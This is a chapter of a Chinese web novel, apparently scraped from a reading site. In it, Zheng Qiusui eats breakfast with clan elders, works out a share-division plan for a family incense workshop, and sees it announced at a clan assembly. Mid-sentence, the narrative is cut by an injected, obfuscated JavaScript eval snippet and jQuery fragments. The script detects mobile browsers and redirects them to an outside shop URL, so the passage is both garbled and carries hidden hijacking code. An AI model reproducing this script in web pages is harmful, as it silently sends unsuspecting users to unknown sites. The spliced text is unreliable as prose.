“你有眼光,她可是有独门护发手艺的,回头族里那生意,少不了得跟她请教了。”


    书房的女人不知何时走了过来。


    “平日里谁见天儿说我爷们儿兮兮的,洗个头都得大半天?”


    钱奶奶反呛回去。


    “我说的是事实。”


    来人一身蓝衣,眉宇间有深深的刻痕,眼神很正。


    “嘿?郑老二你出来,咱俩做一场。”


    钱奶奶撸袖子要下炕。


    “哈哈哈哈,她俩打小儿一块儿长大,最爱斗嘴,你别理她们。”


    见郑秋穗不知所措,族长面上笑着,手下动作强硬,把身旁的人按下,“今儿有正事,你俩要闹,等改日的。”


    “你身后的是宗正,她喜欢蓝色,常穿蓝衣,你叫她蓝奶奶就行。”


    ……这代号真随便,郑秋穗叫完人,默默的想。


    “……小家伙儿定又在想什么可乐的事儿,花儿家这丫头真逗,性子可不似她。”


    钱奶奶乐呵呵道,“小家伙,回头把你想的偷偷告诉我。”


    一旁的蓝奶奶翻了个白眼。


    “是呀,花儿大丫头的性子像她,这丫头的性子像朵儿。”


    族长叹了口气,眼神中是明显的追忆。


    朵儿?


    郑秋穗一脸懵,她家除了她和她姐这对姐妹花,往上数三代不全是单传吗?


    “哈哈哈哈,不行了,这姑娘太逗了,那是你奶的小名儿!”


    钱奶奶似是想起了什么趣事,笑的两眼含泪。


    “……你奶一辈子就得了你娘这一根独苗,当时非闹着给你娘取名花儿。”


    “你奶的小名叫朵儿,你娘叫花儿,这让人一听,跟两姐妹似的不说,你娘听着还比她大,成什么样子?”


    宗正蓝奶奶在一旁解释。


    “可她脾气倔,非说小名儿又不上族谱,人死如灯灭,闹着非给闺女取名花儿,还非说啥以后别人叫花儿就想起自己了,谁曾想,她闺女的性子是半点不像她……”


    屋子里的声音渐渐消失了。


    “可不嘛,让人动不动就想她,个老混蛋!”


    钱奶奶的眼眶有些红。


    朵儿奶奶五年前因病去世了,郑秋穗闻言也有些悲伤。


    花儿、朵儿……这名儿她怎么好像在哪儿见过?郑秋穗走神了一刹。


    但是……你别以为我没听见你在骂我奶,郑秋穗死鱼眼。


    “……这丫头真像她奶呀……”一旁的祖奶奶叹道。


    ……给自己闺女起名花儿,自己叫朵儿。


    她哪里像这种不靠谱的人了!


    郑秋穗只觉得槽多无口。


    “是呀”,族长叹了口气,“朵儿走的早,不过我们这群老家伙,总会在地底下再见着的。”


    “日子过得真快啊”,众人纷纷叹息着看向了郑秋穗。


    仿佛透过郑秋穗,看到了那个穿着一身补丁衣服,开朗爱笑的朵儿姑娘。


    来了……郑秋穗默默的站直了身子。


    “那咱们就趁着年轻的时候多做些事吧!”


    “咱们多做些,这些孩子们以后也能轻松些……”


    几人说着,拍了拍炕,“孩子,上来坐吧。”


    早饭也端进来了。


    豆浆、豆腐脑、馅饼应有尽有。


    郑秋穗看的眼馋,默默给自己新家的装备增加了小石磨。


    “来来来,尝尝这个,你奶以前最爱吃我家的馅饼哩。”


    族长拿起了她的包子咬了一口,把馅饼和豆浆递了过来。


    郑秋穗喝了一口,就眯起了眼。


    浓厚的豆香味还泛着清甜,郑秋穗五脏六腑都熨贴了。


    接着,又咬了一口盘子里的馅饼,酸菜猪肉馅儿的。


    薄脆的外皮、油香的肉馅儿,清爽的酸菜中和了有些油腻的味道。


    一口馅饼一口豆浆,咸、香交织,郑秋穗吃的满足极了。


    不知何时,屋子里又没了动静,郑秋穗抬头一瞧,四位老太太看着她眼眶又红了。


    “……”


    不是,这是干啥呢?郑秋穗小心翼翼的咽下嘴里的豆浆。


    “……你怎么连吃相都跟你奶这么像啊!”


    钱奶奶嚎啕大哭。


    “……”=_=


    合着你们对着一张会动的遗像在这儿吃饭呢?


    “……快吃吧几位奶奶,再不吃就凉了。”


    郑秋穗微笑招呼着。


    几人用过了饭,终于步入正题了。


    太阳渐渐从高空向西边滑落,郑梨夫郎在院子里处理野菜,时不时过来瞧瞧。


    “还不吃饭呢?”


    郑梨扛着锄头回来了,她们家地多,请了短工帮忙,郑梨时不时下去帮一把就成。


    “娘和几位族老,还有花儿姐家的秋穗,在里头谈事呢,午饭都没吃。”


    “穗姐儿?”


    郑梨纳闷,“你没问一句?几位族老年纪都大了,怎么撑得住?”


    “……那倒是不一定。”


    郑梨夫郎默默道。


    他午间敲门进去的时候,几个族老容光焕发,争得面红耳赤的模样……


    “我先去做饭,你也先别进去,在院子里等着信儿就是,娘不爱谈事的时候被打扰。”


    郑梨夫郎叮嘱了一番,去了灶房。


    郑梨放下锄头,想了想,准备寻小闺女去,正在这时,堂屋门开了。


    郑秋穗跑了出来,唤了声梨姨后,便要去寻水壶。


    “穗姐儿?里面啥情况?饭都不吃了?”郑梨赶忙拉住人问。


    郑秋穗愣了下,下意识看了眼日头,一拍脑门,“忘了时间了!我去问问。”


    不一会儿,便听到屋子里,族长大喝一声。


    “饿什么饿,气都气饱了,你这老家伙怎么就说不通呢?她的意思分明是……”


    屋子里的声音中气十足,院子外的人们面面相觑。


    郑秋穗尬笑着拐进厨房提了壶水,又接了郑梨夫郎递来的一盘子馅饼进去了。


    “……”


    夕阳西下,天色渐渐暗了下来,屋子里的交谈声小了许多。


    “就这么着?还有什么问题?”


    八仙桌上的馅饼已经吃完了,族长坐在炕上,喝了口水,哑着嗓子问道。


    “我没意见了。”一旁的祖奶奶已经躺下了炕上,摆摆手道。


    “……”


    钱奶奶和蓝奶奶两个,正皱着眉头逐字逐句看纸上的内容。


    那是一份《郑氏香坊日常运营与股份划分方案(试行稿)》


    郑秋穗坐在一旁,端着一碗水喝着,感觉脑子都要被搬空了,一句话都不想说。


    族里这些奶奶辈的,战斗力是真强。


    从前期投资,到日常运营,再到股份分


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797771|189395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    配,桩桩件件全考虑到了。


    整个香坊分为了四股势力,宗族集体、郑秋穗、生产、管理协调。


    宗族集体占股四成,生产经营占两成,郑秋穗和管理协调各占股两成。


    郑秋穗主要负责产品开发和质量把控,产品制作关键核心全部由自己掌握。


    每次开发的新品要额外再享有一成的分红。


    在产品研发和技术留存方面,族老们给她留了最大限度的自主权。


    郑秋穗很满意。


    “……都写上了,能开族会了。”


    蓝奶奶两人默默的签字画押。


    “快,梨姐儿家的!整点饭吃,盯了一下午字了,看得我头昏眼花的。”


    族长呼唤院外的女婿。


    晚饭很丰盛,烤兔子、炖鸡、炖鱼、菜饭还有一大盆萝卜丝豆腐汤。


    一伙人直奔豆腐汤,“哐哐”往碗里造。


    郑梨纳闷的尝了尝一旁的炖鱼,好吃的呀。


    “瞧我这脑子,大家下午累着了,怕是吃不下,我去弄个拌汤。”


    郑梨夫郎放下碗又去忙活了。


    等一群人吃完饭,天色已经晚了,各家的闺女儿子纷纷来接自家老祖宗了。


    等把祖奶奶送走,郑秋穗拜别了族长,往回走了。


    夜已经深了,路上没什么人了。


    今儿天色有些暗,郑秋穗下意识看了看天空,灰蒙蒙的,连星星都瞧不见。


    “……明儿不会下雨吧……”


    郑秋穗喃喃着,下意识看向了远处的春溪山。


    “不会。”


    郑秋穗一愣,转过头,郑秋米和郑冬粒正在路旁等着。


    “爹担心的睡不着,叫我赶紧出来瞧瞧。”


    郑秋米有些担忧的看着她。


    “……过几日,族里有好消息哦!”


    郑秋穗笑的得意。


    见状,郑秋米放下了担心,“回家!”


    “姐,咱家院儿里也修个石磨吧,不用大,能磨豆子就行,族长家的豆浆真好喝呀!”


    “成!”


    “还有八仙桌,快别弄了,人一进家里全上炕了,放那儿白花钱不说,看着还碍事!”


    “……也成!”


    “还有花儿,咱家也种些花吧,族长家的……”


    两人一问一答,郑冬粒在旁边静静的听着,三人慢慢往家去了。


    第二天果真是个大晴天,湛蓝湛蓝的天空看着格外漂亮。


    村里仿佛被投入了一颗巨型炸弹,炸出了轩然大波。


    族里通知各家,要召开族内大会了,各家家主必须到场,自己来不了的,叫长女来,长女来不了的,叫长孙女来!


    村里人都纳闷的紧,要知道上次全族开会,还是换族长呢,都快二十几年前的事了。


    但族人还是乖乖到场了。


    祠堂里,鸦雀无声,这样严肃的地方,没有人敢嬉戏玩闹。


    祖宗牌位面前,大家都拿着小木凳坐下了。


    族长宣布族内要开办“郑氏香坊”一事。


    几位族老内部已经统一意见,自然无人反对,族人们面面相觑,一脸茫然。


    族长丝毫没有宽心解释的意思,接着道。


    “当然了,咱们郑氏一族,祖祖辈辈都是种地的,大家农忙时先忙地里的农活,闲得时候过去开工。”


    说完,族长直接公布用工需求。